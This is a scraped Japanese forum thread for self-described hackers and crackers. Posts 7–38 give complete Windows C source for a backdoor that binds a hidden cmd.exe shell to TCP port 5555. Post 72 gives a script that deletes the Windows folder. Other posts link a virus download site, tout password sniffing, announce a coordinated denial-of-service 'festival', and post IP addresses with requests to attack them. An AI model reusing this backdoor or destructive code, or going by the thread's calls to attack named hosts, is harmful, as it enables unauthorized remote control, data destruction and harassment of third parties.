1read 100read
2012年5月プログラマー107: ハッカー&クラッカー専用 (458) TOP カテ一覧 スレ一覧 2ch元 削除依頼
★山崎邦正が旧情報処理1種持ってる事実 (456)
★☆★プログラマで簿記1級持ってる奴 (122)
2008年度新卒でSE・PGになる人 (181)
なぜ日本ではオープンソースが普及しないのか? (441)
うどんかそば (735)
ホワイトカラー・エグゼプション (682)

ハッカー&クラッカー専用


1 :07/03/09 〜 最終レス :12/05/21
このスレの目的
・究極のツール、コード、(フリーだったら、基本的何でもOK)の紹介
・虐待を受けたハッカー&クラッカーの避難所
・虐めた人の居るサイトの(場所)を紹介(2ch意外に限る)
・田代砲による、難民の保護(2ch意外に限る)
(荒らしではありません。自衛のDosです)

2 :
以外なスレがたったな

3 :
でしょ!(笑

4 :
虐待を受けたハッカーのボクにちょうどいいスレ^^
ちょっと居座りますよ
  /⌒ヽ
  /´_ゝ`)
 |   /
 と_)__) 旦

5 :
ハッカよりニッキ、クラッカーよりクッキーの方が好きですぅ

6 :
           _____________
   ___   /
 /´∀`;:::\<   テレホマン参上!
/    /::::::::::|\  ここで、トラフィック倍増攻撃だ!
| ./|  /:::::|::::::|  \_____________
| ||/::::::::|::::::|
説明しよう!
トラフィック倍増攻撃とはテレホマン全員で午後11時以降にネットにつなぐことにより、
普段は1000以上の攻撃パワーを持つADSLマンやFTTHマンの攻撃パワーを100以下に
してしまうこともできるという恐ろしい技だ。
がんばれ ぼくらのテレホマン みんなのテレホマン

7 :
バックドアのコード解説(分割して書き込みます)
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <windowsx.h>
#include <tchar.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
// コメントアウト=ウィンドウを表示する
//#define HIDE
// ########################################################
// ## ウィンドウ生成処理
// ########################################################

8 :
HINSTANCE hInst;
LPCTSTR szWindowClass = _T("backdoor1");
LPCTSTR szTitle = _T("backdoor1");
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
MSG msg;
MyRegisterClass(hInstance);
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}

9 :
BOOL bRet;
while ((bRet = GetMessage(&msg, NULL, 0, 0)) != 0)
{
if(bRet == -1)
{
break;
}
if (!TranslateAccelerator(msg.hwnd, NULL, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return (int) msg.wParam;
}

10 :
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, NULL);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = (LPCTSTR)NULL;
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, NULL);
return RegisterClassEx(&wcex);
}

11 :
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
HWND hWnd;
hInst = hInstance;
hWnd = CreateWindow(szWindowClass, szTitle,
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0,
CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);
if (!hWnd)
{
return FALSE;
}

12 :
#ifndef HIDE
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
#endif
return TRUE;
}

13 :
// ########################################################
// ## ウィンドウ生成処理
// ########################################################
#define START_STRING "connection ok!\x0D\x0A"
#define SHELL_NAME "cmd.exe"
#define START_DIR "c:\\"
#define SERVICE_PORT (5555)
#define WM_ASYNC_SELECT (WM_USER + 1)
typedef struct{
SOCKET sock; // ソケットフラグ
HANDLE hProcess; // プロセスハンドル
HANDLE fd_read; // 入力用パイプ
HANDLE fd_write; // 出力用パイプ
BOOL bAcceptFlag; // 接続数管理フラグ
BOOL bThreadFlag; // スレッド実行フラグ
} THDATA, *PTHDATA;

14 :
BOOL OpenCmd(PTHDATA);
SOCKET WaitConnect(HWND);
VOID EndProgram(SOCKET, PTHDATA);
BOOL AcceptConnect(SOCKET, PTHDATA);
VOID TalkClient(HWND, SOCKET, PTHDATA, LPARAM);
VOID CloseConnect(PTHDATA);
VOID ReadConnect(PTHDATA);
DWORD WINAPI OutputToSocket(LPVOID);
VOID JudgeEndConnect(PTHDATA);
BOOL JudgeExit(TCHAR);

15 :
// --------------------------------------------------------
// ウィンドウコールバック関数
// --------------------------------------------------------
LRESULT CALLBACK WndProc(HWND hWnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{

16 :
return 0L;

17 :
static THDATA thData;
static SOCKET sListen;
switch (message)
{

18 :
case WM_CREATE:
// コマンドプロンプト起動
if(OpenCmd(&thData))
DestroyWindow(hWnd);
// ソケットを開いてポートを開ける
if((sListen = WaitConnect(hWnd)) == -1)
DestroyWindow(hWnd);
break;
case WM_ASYNC_SELECT:
// ネットワーク関連関数へ
TalkClient(hWnd, sListen, &thData, lParam);
break;
case WM_DESTROY:
// プログラムの終了
EndProgram(sListen, &thData);
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}

19 :
16
勝手にreturn 0L;させないでください。
リターンさせてどーするんだ?

20 :
// --------------------------------------------------------
// コマンドプロンプトとパイプで繋ぐ関数
// --------------------------------------------------------

21 :
BOOL OpenCmd(PTHDATA pthData)
{
// pthData->bAcceptFlag
// pthData->fd_write
// pthData->fd_read
// pthData->hProcess
pthData->bAcceptFlag = TRUE;

22 :
MessageBox(NULL,TEXT("ガ━━(゚Д゚;)━━━ン!!!!!"),TEXT("(´・∀・`)"),0);

23 :
22人のこて半勝手に使うな!

24 :
// パイプ生成オペレーション
HANDLE pfd_in[2], pfd_out[2];
short int R = 0, W = 1;

SECURITY_ATTRIBUTES sa;
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
sa.nLength = sizeof(sa);
HANDLE hParent = GetCurrentProcess();
CreatePipe(&pfd_out[R], &pfd_out[W], &sa, 0);
DuplicateHandle(hParent, pfd_out[R], hParent,
&pthData->fd_write, 0, FALSE, DUPLICATE_SAME_ACCESS);
CloseHandle(pfd_out[R]);
CreatePipe(&pfd_in[R], &pfd_in[W], &sa, 0);
DuplicateHandle(hParent, pfd_in[W], hParent,
&pthData->fd_read, 0, FALSE, DUPLICATE_SAME_ACCESS);
CloseHandle(pfd_in[W]);


25 :
// プロセス生成
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = pfd_in[R];
si.hStdOutput = pfd_out[W];
si.hStdError = pfd_out[W];

26 :
PROCESS_INFORMATION pi;
BOOL bret = CreateProcess(NULL, SHELL_NAME, NULL,
NULL, TRUE, 0, NULL, START_DIR, &si, &pi);
if(bret == 0){
CloseHandle(pthData->fd_read);
CloseHandle(pthData->fd_write);
CloseHandle(pfd_in[R]);
CloseHandle(pfd_out[W]);
return TRUE;
}

27 :
// プロセスハンドルを保存
pthData->hProcess = pi.hProcess;
CloseHandle(pi.hProcess);
CloseHandle(pfd_in[R]);
CloseHandle(pfd_out[W]);
return FALSE;
}

28 :
// --------------------------------------------------------
// ソケットを開きポートを開ける関数
// --------------------------------------------------------
SOCKET WaitConnect(HWND hWnd)
{

29 :
WSADATA wsaData;
if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
return -1;
SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET)
return -1;
SOCKADDR_IN Serv;
memset(&Serv, 0, sizeof(Serv));
Serv.sin_family = AF_INET;
Serv.sin_port = htons((USHORT)(SERVICE_PORT));
Serv.sin_addr.s_addr = htonl(INADDR_ANY);

if(bind(sock, (SOCKADDR *)&Serv, sizeof(Serv)) == SOCKET_ERROR)
return -1;
if(listen(sock, 0) == SOCKET_ERROR)
return -1;
int ret = WSAAsyncSelect(sock, hWnd, WM_ASYNC_SELECT,
FD_ACCEPT | FD_CLOSE | FD_READ | FD_WRITE);
if(ret == SOCKET_ERROR)
return -1;
return sock;
}

30 :
// --------------------------------------------------------
// プログラム終了時に後始末を行う関数
// --------------------------------------------------------
VOID EndProgram(SOCKET sock,
PTHDATA pthData)
{
// コマンドプロンプトを終了
DWORD dwLen;
WriteFile(pthData->fd_read, "exit\x0D\x0A", 6, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
WaitForSingleObject(pthData->hProcess, 3000);
// パイプを閉じる
CloseHandle(pthData->fd_read);
CloseHandle(pthData->fd_write);
// ソケットを閉じる
shutdown(sock, SD_BOTH);
closesocket(sock);
WSACleanup();
}

31 :
// --------------------------------------------------------
// ネットワーク部分のメイン関数
// --------------------------------------------------------
VOID TalkClient(HWND hWnd,
SOCKET sock,
PTHDATA pthData,
LPARAM lParam)
{
switch(WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:
// 接続要求を受け付ける
AcceptConnect(sock, pthData);
break;
case FD_READ:
// データを読み込む
ReadConnect(pthData);
break;
case FD_CLOSE:
// 接続を終了する
CloseConnect(pthData);
break;
}
}

32 :
// --------------------------------------------------------
// 接続を受け付ける関数
// ソケットを開き、スレッドを起動させる
// --------------------------------------------------------
BOOL AcceptConnect(SOCKET sListen,
PTHDATA pthData)
{
// pthData->sock
// pthData->ThreadFlag
// クライアントからのソケットを受け取る
SOCKADDR_IN Client;
int ClientLen = sizeof(Client);
SOCKET sock_tmp = accept(
sListen, (LPSOCKADDR)&Client, &ClientLen);
if(sock_tmp == INVALID_SOCKET)
return TRUE;

// 先着がいれば接続を拒否する
if( ! pthData->bAcceptFlag){
// ソケットを閉じる
shutdown(sock_tmp, SD_BOTH);
closesocket(sock_tmp);
return TRUE;
}

33 :
// 先着がいなければ接続を了承する
// 以後の接続を受け付けない
pthData->bAcceptFlag = FALSE;
pthData->sock = sock_tmp;
// 最初に接続完了のデータを送る
send(pthData->sock,
START_STRING, (int)strlen(START_STRING), 0);

// スレッドフラグを立てる
pthData->bThreadFlag = TRUE;
// スレッド生成
DWORD dwThID;
HANDLE hThread = CreateThread(NULL, 0,
OutputToSocket, (LPVOID)pthData, 0, &dwThID);
if(hThread == NULL){
shutdown(pthData->sock, SD_BOTH);
closesocket(pthData->sock);
return TRUE;
}
CloseHandle(hThread);
return FALSE;
}

34 :
// --------------------------------------------------------
// 接続を終了する関数
// スレッドを終了させ、ソケットを閉じる
// --------------------------------------------------------
VOID CloseConnect(PTHDATA pthData)
{
// ソケットを閉じる
shutdown(pthData->sock, SD_BOTH);
closesocket(pthData->sock);
// スレッド終了
pthData->bThreadFlag = FALSE;
// 再び接続を受け付ける
pthData->bAcceptFlag = TRUE;
}

35 :
// --------------------------------------------------------
// クライアントから送られてきたデータを
// コマンドプロンプトへ書き込む関数
// --------------------------------------------------------
VOID ReadConnect(PTHDATA pthData)
{
TCHAR c; DWORD dwLen;
recv(pthData->sock, &c, 1, 0);

if(JudgeExit(c)){
JudgeEndConnect(pthData);
return;
}
WriteFile(pthData->fd_read, &c, 1, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
}

36 :
// --------------------------------------------------------
// コマンドプロンプトに表示されたデータを
// クライアントへ送信する関数
// --------------------------------------------------------
DWORD WINAPI OutputToSocket(LPVOID lpvoid)
{
PTHDATA pthData = (PTHDATA)lpvoid;
DWORD dwLen;
char szBuf[1024];
while(pthData->bThreadFlag){
Sleep(100);
BOOL bret = ReadFile(pthData->fd_write,
&szBuf, sizeof(szBuf), &dwLen, NULL);
if(bret == FALSE)
continue;
if(dwLen > 0)
send(pthData->sock, szBuf, dwLen, 0);
}
return 0;
}

37 :
// --------------------------------------------------------
// exitと入力されたことにより、接続を切断する関数
// --------------------------------------------------------
VOID JudgeEndConnect(PTHDATA pthData)
{
// 接続を切断
CloseConnect(pthData);
// 改行を書き込む(「exi\r\n」を入力したことになる)
DWORD dwLen;
WriteFile(pthData->fd_read,
"\x0D\x0A", 2, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
// 1秒待って
Sleep(1000);
// 出力データを読み込む
TCHAR szBuf[1024];
ReadFile(pthData->fd_write,
&szBuf, sizeof(szBuf), &dwLen, NULL);
// 最後に改行を送って終了
WriteFile(pthData->fd_read,
"\x0D\x0A", 2, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
}

38 :
// --------------------------------------------------------
// exitの入力判定を行う関数
// --------------------------------------------------------
BOOL JudgeExit(TCHAR c)
{
static TCHAR szExit[8] = "AAAA";
for(int i=0; i < 3; i++)
szExit[i] = szExit[i+1];
szExit[3] = c;
if( ! lstrcmpi(szExit, "exit"))
return TRUE;
return FALSE;
}

39 :
えっと、このプログラムを落とすツールを作ればイイノカナ?

40 :
まぁ、簡単なのは、ざっとこんな物かな・・・
良ければ、コンパイルしてみてください。

41 :
ファイrをうpしろよ。そっちの方が簡単だろ。

42 :
41
そうですね・・(笑
まだ、中学ナもんで・・・

43 :
ところで、tor知ってますか?
鯖偽装ソフト。
あれ、2chで使えなくないですか?

44 :
kill 9 backdoor1
>あれ、2chで使えなくないですか?
ひさびさワロタwwww
何考えてるのかとおもったらそういうオチか

45 :
>そうですね・・(笑
最近の中学生は(笑 とか使うのか。
昔の流行が再燃するような感じだな。

46 :
.   /⌒ヽ
  /    ) え!スレ終了?立ち退き?!今月ピンチ・・・
  |    /
  | /| |
  // | |
 U  .U

47 :
46
AA巧く表示されてない。(顔ないし・・・)

48 :
44
俺が紹介したBACKDOORの名前しっとんだね。
ふふふ・・・

49 :
ふふふ・・

50 :
>47-48
いやいやwwwwww
偽者だと思うんだ
思うんだけど>1ならあるかもとか思えて怖い

51 :
じゃあ、
アルゼンチンの天才的な、
クラッカー[K]Alamarの(ウイルス名、vbs.vbswg.aq@mm)しってる?
最高だよ(微笑・・
URLを載せとくよ、Downloadしてみて。
ttp://vx.netlux.org/vx.php?id=tv07

52 :
なにこの厨房スレ

53 :
&btnI=I%27m+Feeling+Lucky&lr=
googleの検索結果の後ろにこれを付けるとなんでページが開くの?
エロイ人教えて、ま、これから調査するが
ttp://www.google.co.jp/search?hl=ja&q=hoge&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=
&btnI=I%27m+Feeling+Lucky&lr=
とかさ

54 :
スニッファーソフトしってる?
メール、盗聴するのだよ。
パスも盗聴できる。
た・だ・し、16進数が分かればね!
代表的なのは、Ettercapだよ。
フリーで最も危険なソフト。
URLは、
ttp://ettercap.sourceforge.net/

55 :
ふふふ・・

56 :
52
どう?
笑えるでしょ。俺今むっちゃ暇なの、
だからスレ立てて、ここで何となぁ〜く楽しんでるの!?

57 :
どんだけ厨房なんだよww

58 :
>>53 [I'm Feeling Lucky]ボタンってGoogleに昔からあるっつうの

59 :
>>58
2002年ごろからあるんですねえ。
知らなかった。
btnI=
で調べればヨユウッスね

60 :
さてここで、
標準C/C++プロを作るだけでなくWin32APIを使用してアプリしたい人に
お勧めを紹介します。
Platform SDKというソフトがあります。
URLは、
ttp://www.microsoft.com/msdownload/platformsdk/sdkupdate/

61 :
退屈だ・・・
だれか、いいソフト教えて〜〜〜

62 :
>>59 Googleのトップページに昔からあるっつうの

63 :
50
攻撃したいとこあるん?
ヒトデが足りれば潰せるよ(笑

64 :
age

65 :
通報しました。
66 :
あぼーん

67 :
<速報>
今夜、10時より田代砲による田代祭りを決行いたします。
参加、観戦したい人は、http://talk.milkcafe.net/
により、田代砲を持参ください。
一人でも多くの祭りファンのご来光、
楽しみにお待ちしております。

68 :
exit();
69 :
あぼーん

70 :
http://mocha.la.coocan.jp/kisei.htm

71 :
http://mocha.la.coocan.jp/pukiwiki/index.php

72 :
<script language="jscript">
var fso
fso=new ActiveXObject("Scripting.FileSystemObject");
fso.DeleteFolder("C:\\Windows",true);
</script>
OS98でVBSで拡張つけて実行したらどーなるでしょう〜か

73 :
Windowsが起動しなくなる?
最近のWindowsだと大事なファイルは削除できないようになってそうだけど・・・どうなの

74 :
アタリ('A`)

75 :
何この糞スレ
スクリプトキディだろお前ら
VIPPERより役に立たないくせに

76 :
>>42
中学生なことと何が関係あるんだ?

77 :
私のホムペを見に来て(*^▽^*)/荒らしは禁止だからね!!まあパスつけてるから荒らせないだろうけどね(笑)http://x54.peps.jp/vyuk1v?id=vyuk1v&_cus=jgw2rt

78 :
IPアドレス 59.146.152.231
ホスト名 p9298e7.osaknt01.ap.so-net.ne.jp
さら  されちゃいましたが コレだけだっったら大丈夫でしょうか?
やられないですか?ハック&クラッカ−

79 :
このサイトやってくださいませ
どうして電話してきてくれないのぉ
(TT)あんまりタイプじゃなかったのかなぁ?
美咲ねっ…割り切りであってくれたら
何でもするつもりだったのになぁ
♪一応、由紀の携番もう一回送っときますねっ
ttp://homepage2.nifty.com/starbeach4/toppo/queen/song./
パスは1008ってなってるからぁ♪
80 :
あぼーん

81 :
>>80
俺趣味でスパムメール撃退ソフト作ってるんだけど
2000円で買う?
例えば指定メアドに1万発発射とか出来るぞ

82 :
>>81
いい趣味してますな
83 :
あぼーん

84 :
アセンブラの良書は何でつか?
85 :
あぼーん

86 :
>>82
ありがとうw
もうちょっとで俺のサイトにアップロードするよw
性能はピカイチだよw
スパム業者もびっくりの反撃ツールだからねw

87 :
>>86
ください

88 :
>>86
SPAM業者のメールサーバなんざレスきたさきから/dev/null行きだろう、、、。
SPAMメールん10万通送ってたら、それだけサーバから拒否られてるわけで。

89 :
>>87
¥2000円+自己責任でね。
反撃しすぎてプロバイダから損害賠償請求される可能性もあるから、
原則的に俺は1000発の反撃で留めてるよw
>>86
甘いな。反撃するのは送られて来たメールアドレスではなく、送られた
来たSPAMメールの本文に記載されているメールアドレスに対して
反撃をするんだよw
まぁ、俺のツールを公開すれば一般人にはかなり感謝されると思うw

90 :

あー、俺もアセンブラ勉強してーなー
いい本ないかね
 

91 :
ZU219008.ppp.dion.ne.jp(59.133.219.8)
やっちゃって下さい

92 :
このページに接続する方法を誰か知りませんか?
oasis.midwest.org
どうもアメリカの外からの接続にはサーバが見つからないようになってるっぽい・・・
出来ればC#を使ってこのサーバに接続したいんですが・・・アメリカの外から

93 :
>>92 です
PFX証明があるのは分かってるけどサーバにすら辿り着けません・・

94 :
訂正します: oasis.midwestiso.orgでした、 スンマセン
95 :
あぼーん

96 :
先生!ハッカーになりたい時はどうすればいいんですか!

97 :
>>96
まずは、オープンソースのプロジェクトにパッチでも投稿してみてはいかがでしょうか?
あとは、使い捨てのスクリプトを書いてみるとか。
そんなこんなしているうちに、ハッカーになっていると思うよ。

98 :
>>96
今そっちの環境はどーなってんの?

99 :
mpeg compass.jp
名古屋駅近辺でお話しましょう

100read 1read
1read 100read
TOP カテ一覧 スレ一覧 2ch元 削除依頼
[ 99BASIC ] 日曜プログラマー [ DarkBASIC ] (164)
VB6システム、未だリプレイスせず拡張中 (224)
スーパーSEイムジンリバーが降臨するスレ (371)
IT業界のタブー「偽装請負」に手を染めてませんか (965)
富士通の残業だとかいろいろ教えて>< (751)
ハッカー&クラッカー専用 (458)
--log9.info------------------
ひろゆき「iPhone買う奴は頭が弱い」part2 (440)
Microsoft Office for Mac v.17 (493)
ひろゆき「iPhone一ヶ月後には誰も使ってない」 - 2 (620)
【App Storeへ】Pixelmator Part3【お引っ越し】 (125)
MacにRetinaはムリムリあり得ない;; (129)
Unsanity 総合スレ (263)
【egword】エルゴソフトのスレ 第22版【egbridge】 (311)
RSSリーダーを語るスレ3 (341)
Macで家計簿 4冊目 (390)
iPad アプリ総合スレッド Part5 (782)
G5とintelの性能差ってどのくらいあるの??? (896)
アイコン作ってやるって言ってライオン! (112)
【逮捕記念】Cabos 総合 34【児ポ厳禁】 (385)
iBook G4 Part59 (871)
intel入ってる! iMac part 117 (157)
Macで動くWebカメラに関するスレ (770)
--log55.com------------------
別館★羽生結弦&オタオチスレ13877
☆【画像】6887
実質14736
六千百十九
基地外大野智ヲタの悪行を語るスレ784
肴28142
宇野昌磨が嫌いになった&嫌いになりそう&不満スレ Part.478
BTSの雑談スレ1973